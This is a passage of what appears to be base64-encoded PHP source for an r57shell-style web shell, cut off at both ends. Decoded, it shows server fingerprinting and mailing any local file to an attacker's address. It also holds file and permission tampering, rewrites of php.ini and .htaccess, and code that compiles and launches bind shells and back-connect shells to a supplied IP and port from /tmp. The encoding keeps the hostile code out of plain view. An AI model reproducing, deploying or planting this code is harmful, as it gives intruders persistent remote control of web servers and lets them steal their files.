5NSddLiJcIj48Yj51c2VyczwvYj48L2E+ICIuJHJiOw0KIH0NCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDgnXS4iXCI+PGI+dG1wPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RlbGV0ZSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ5J10uIlwiPjxiPmRlbGV0ZTwvYj48L2E+ICIuJHJiLiI8YnI+IjsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiI7DQokY3VybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOw0KZWNobyB3cygyKTsNCmVjaG8gImNVUkw6IDxiPiIuKCgkY3VybF9vbik/KCI8Zm9udCBjb2xvcj1HcmVlbj5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PiI7IH0gZWxzZSB7IGVjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iOyB9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk1TU1FMOiA8Yj4iOw0KJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1HcmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsNCiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCmlmKCRwZ19vbil7ZWNobyAiPGZvbnQgY29sb3I9R3JlZW4+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk9yYWNsZTogPGI+IjsNCiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9R3JlZW4+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+PGJyPiI7DQplY2hvIHdzKDIpLiJTYWZlX21vZGU6IDxiPiI7DQplY2hvICgoJHNhZmVfbW9kZSk/KCI8Zm9udCBjb2xvcj1HcmVlbj5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk9wZW5fQmFzZWRpcjogPGI+IjsNCmlmKCRvcGVuX2Jhc2VkaXIpIHsgaWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSkpIHtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT4kZGY8L2ZvbnQ+PC9iPiI7fTt9DQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj4iO30NCmVjaG8gd3MoMikuIlNhZmVfRXhlY19EaXI6IDxiPiI7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHsgaWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkpIHtlY2hvICI8Zm9udCBjb2xvcj1HcmVlbj5OT05FPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4kZGY8L2ZvbnQ+PC9iPiI7fTt9DQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO30NCmVjaG8gd3MoMikuIlNhZmVfR2lkOiA8Yj4iOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmIChAaW5pX2dldCgnc2FmZV9tb2RlX2dpZCcpKSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4iU2FmZV9JbmNsdWRlX0RpcjogPGI+IjsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPUdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4iU3FsLnNhZmVfbW9kZTogPGI+IjsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgeyBpZiAoQGluaV9nZXQoJ3NxbC5zYWZlX21vZGUnKSkge2VjaG8gIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PRkY8L2ZvbnQ+PC9iPiI7fTt9DQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO30NCmVjaG8gIjwvYj48YnI+Ii53cygyKTsNCmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjsNCmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT4kZGY8L2ZvbnQ+PC9iPiI7fQ0KJGZyZWUgPSBAZGlza2ZyZWVzcGFjZSgkZGlyKTsNCmlmICghJGZyZWUpIHskZnJlZSA9IDA7fQ0KJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOw0KaWYoJHVzdF91KXtlY2hvICI8YnI+Ii53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J10uIjogPGZvbnQgY29sb3I9Ymx1ZT4iLiR1c3RfdS4iPC9mb250PiI7fTsNCg0KaWYoJHVzdF9kKXtlY2hvICI8YnI+Ii53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM4J10uIjogPGZvbnQgY29sb3I9cmVkPiIuJHVzdF9kLiI8L2ZvbnQ+Ijt9Ow0KDQppZigkZG93bmxvYWRlcil7ZWNobyAiPGJyPiIud3MoMikuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0MiddLiI6IDxmb250IGNvbG9yPWJsdWU+Ii4kZG93bmxvYWRlci4iPC9mb250PiI7fTsNCmlmICghJGFsbCkgeyRhbGwgPSAwO30NCmVjaG8gIjxicj4iLndzKDIpLiJGcmVlIHNwYWNlIDogPGI+Ii52aWV3X3NpemUoJGZyZWUpLiI8L2I+IFRvdGFsIHNwYWNlOiA8Yj4iLnZpZXdfc2l6ZSgkYWxsKS4iPC9iPiI7DQplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4NCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPg0KPHRyPjx0ZCBjbGFzcz1tYWluIGFsaWduPXJpZ2h0IHdpZHRoPTEwMD4nOw0KZWNobyAkZm9udDsNCmlmKCR1bml4KXsNCmVjaG8gJzxmb250IGNvbG9yPVdoaXRlPjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPmlkIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAnPC90ZD48dGQgIGNsYXNzPW1haW4+JzsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxiPiI7DQplY2hvKCghZW1wdHkoJHVuYW1lKSk/KHdzKDMpLkBzdWJzdHIoJHVuYW1lLDAsMTIwKS4iPGJyPiIpOih3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iKSk7DQplY2hvIHdzKDMpLiRzeXNjdGwuIjxicj4iOw0KZWNobyB3cygzKS5leCgnZWNobyAkT1NUWVBFJykuIjxicj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsNCmlmKCFlbXB0eSgkaWQpKSB7IGVjaG8gd3MoMykuJGlkLiI8YnI+IjsgfQ0KZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGV1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQ0KIHsNCiAkZXVzZXJpbmZvICA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsNCiAkZWdyb3VwaW5mbyA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsNCiBlY2hvIHdzKDMpLid1aWQ9Jy4kZXVzZXJpbmZvWyd1aWQnXS4nICggJy4kZXVzZXJpbmZvWyduYW1lJ10uJyApIGdpZD0nLiRlZ3JvdXBpbmZvWydnaWQnXS4nICggJy4kZWdyb3VwaW5mb1snbmFtZSddLicgKTxicj4nOw0KIH0NCmVsc2UgZWNobyB3cygzKS4idXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLiI8YnI+IjsNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gd3MoMykuJyggJy5wZXJtcyhAZmlsZXBlcm1zKCRkaXIpKS4nICknOw0KZWNobyAiPC9iPjwvZm9udD4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAnPGZvbnQgY29sb3I9V2hpdGU+PGI+T1MgOicud3MoMSkuJzxicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5Vc2VyIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAnPC90ZD48dGQgY2xhc3M9bWFpbj4nOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBnZXRlbnYoIlVTRVJOQU1FIikuIjxicj4iOw0KDQplY2hvIHdzKDMpLiRkaXI7DQplY2hvICI8YnI+PC9mb250PiI7DQp9DQplY2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQokZiA9ICc8YnI+JzsNCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWFpbCIpDQogew0KICRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOw0KIGVycig2KyRyZXMpOw0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQ0KIHsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnbG9jX2ZpbGUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiBlbHNlDQogIHsNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydsb2NfZmlsZSddKTsNCiAgICAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnbG9jX2ZpbGUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgJGF0dGFjaCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAibmFtZSI9PiRmaWxlbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgInR5cGUiPT4kbWltZV90eXBlLA0KICAgICAgICAgICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcA0KICAgICAgICAgICAgICAgICAgICk7DQogICAgaWYoZW1wdHkoJF9QT1NUWydzdWJqJ10pKSB7ICRfUE9TVFsnc3ViaiddID0gJ2ZpbGUgZnJvbSByNTdzaGVsbCc7IH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7IH0NCiAgICAkcmVzID0gbWFpbGF0dGFjaCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydmcm9tJ10sJF9QT1NUWydzdWJqJ10sJGF0dGFjaCk7DQogICAgZXJyKDYrJHJlcyk7DQogICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJmaW5kX3RleHQiKQ0Kew0KJF9QT1NUWydjbWQnXSA9ICdmaW5kICcuJF9QT1NUWydzX2RpciddLicgLW5hbWUgXCcnLiRfUE9TVFsnc19tYXNrJ10uJ1wnIHwgeGFyZ3MgZ3JlcCAtRSBcJycuJF9QT1NUWydzX3RleHQnXS4nXCcnOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF8iKQ0KIHsNCiBzd2l0Y2goJF9QT1NUWyd3aGF0J10pDQogICB7DQogICBjYXNlICdvd24nOg0KICAgQGNob3duKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7DQogICBicmVhazsNCiAgIGNhc2UgJ2dycCc6DQogICBAY2hncnAoJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnbW9kJzoNCiAgIEBjaG1vZCgkX1BPU1RbJ3BhcmFtMSddLGludHZhbCgkX1BPU1RbJ3BhcmFtMiddLCA4KSk7DQogICBicmVhazsNCiAgIH0NCiAkX1BPU1RbJ2NtZCddPSIiOw0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWsiKQ0KIHsNCiAgIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgICAgY2FzZSAnZmlsZSc6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKQ0KICAgICAgIHsNCiAgICAgICBpZihmaWxlX2V4aXN0cygkX1BPU1RbJ21rX25hbWUnXSkgfHwgISRmaWxlPUBmb3BlbigkX1BPU1RbJ21rX25hbWUnXSwidyIpKSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgIGVsc2Ugew0KICAgICAgICBmY2xvc2UoJGZpbGUpOw0KICAgICAgICAkX1BPU1RbJ2VfbmFtZSddID0gJF9QT1NUWydta19uYW1lJ107DQogICAgICAgICRfUE9TVFsnY21kJ109ImVkaXRfZmlsZSI7DQogICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbGV0ZSIpDQogICAgICAgew0KICAgICAgIGlmKHVubGluaygkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYzJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgIH0NCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ2Rpcic6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKXsNCiAgICAgIGlmKG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkNCiAgICAgICB7DQogICAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjInXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIH0NCiAgICAgIGVsc2UgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIil7DQogICAgICBpZihybWRpcigkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICB9DQogICAgIGJyZWFrOw0KICAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZWRpdF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydlX25hbWUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyAkb25seV9yZWFkID0gMTsgQGZjbG9zZSgkZmlsZSk7IH0NCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KIGVsc2Ugew0KIGVjaG8gJHRhYmxlX3VwMzsNCiBlY2hvICRmb250Ow0KIGVjaG8gIjxmb3JtIG5hbWU9c2F2ZV9maWxlIG1ldGhvZD1wb3N0PiI7DQogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+IjsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1lX3RleHQgY29scz0xMjEgcm93cz0yND4iOw0KIGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2VfbmFtZSddKSkpOw0KIGZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90ZXh0YXJlYT4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWVfbmFtZSB2YWx1ZT0iLiRfUE9TVFsnZV9uYW1lJ10uIj4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT0iLiRkaXIuIj4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsNCiBlY2hvICghZW1wdHkoJG9ubHlfcmVhZCk/KCI8YnI+PGJyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ0J10pOigiPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXS4iIFwiPiIpKTsNCiBlY2hvICI8L2Rpdj4iOw0KIGVjaG8gIjwvZm9udD4iOw0KIGVjaG8gIjwvZm9ybT4iOw0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogZXhpdCgpOw0KIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpDQogew0KICRtdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydlX25hbWUnXSk7DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJ3IikpIHsgZXJyKDAsJF9QT1NUWydlX25hbWUnXSk7IH0NCiBlbHNlIHsNCiBpZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7DQogQGZ3cml0ZSgkZmlsZSwkX1BPU1RbJ2VfdGV4dCddKTsNCiBAdG91Y2goJF9QT1NUWydlX25hbWUnXSwkbXRpbWUsJG10aW1lKTsNCiAkX1BPU1RbJ2NtZCddPSIiOw0KIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiB9DQogfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYmIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pJiYoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9iZC5jIiwkcG9ydF9iaW5kX2JkX2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JkIC90bXAvYmQuYyIpOw0KIEB1bmxpbmsoIi90bXAvYmQuYyIpOw0KICRibGFoID0gZXgoIi90bXAvYmQgIi4kX1BPU1RbJ3BvcnQnXS4iICIuJF9QT1NUWydiaW5kX3Bhc3MnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsncGhwX2luaTEnXSkpDQp7DQogY2YoInBocC5pbmkiLCRwaHBfaW5pMSk7DQogICRfUE9TVFsnY21kJ109IiBEYSB3cml0ZSB4b25nIHBocC5pbmkgdGh1PyB0aHU/IGNvaSBkaSI7DQogfQ0KDQogaWYgKCFlbXB0eSgkX1BPU1RbJ2h0YWNjZXMnXSkpDQp7DQogY2YoIi5odGFjY2VzcyIsJGh0YWNjZXMpOw0KICAkX1BPU1RbJ2NtZCddPSJEYSB3cml0ZSB4b25nIGh0YWNjZXNzIHRodT8gdGh1PyBjb2kgZGkgIjsNCiB9DQogIGlmICghZW1wdHkoJF9QT1NUWydmaWxlX2luaSddKSkNCnsNCiBjZigiaW5pLnBocCIsJHNuaV9yZXMpOw0KDQogICRfUE9TVFsnY21kJ109IiBodHRwOi8vdGFyZ2V0LmNvbS9pbmkucGhwP3NzPWh0dHA6Ly9zaGVsbC50eHQ/IERhIHdyaXRlIHhvbmcgaW5pLnBocCB0aHUgeGVtIF5eISI7DQogfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90bXAvYmRwbCIsJHBvcnRfYmluZF9iZF9wbCk7DQogJHAyPXdoaWNoKCJwZXJsIik7DQogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZHBsIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3QpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9iYWNrICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JhY2suYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iYWNrYyAvdG1wL2JhY2suYyIpOw0KIEB1bmxpbmsoIi90bXAvYmFjay5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iYWNrYyAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydy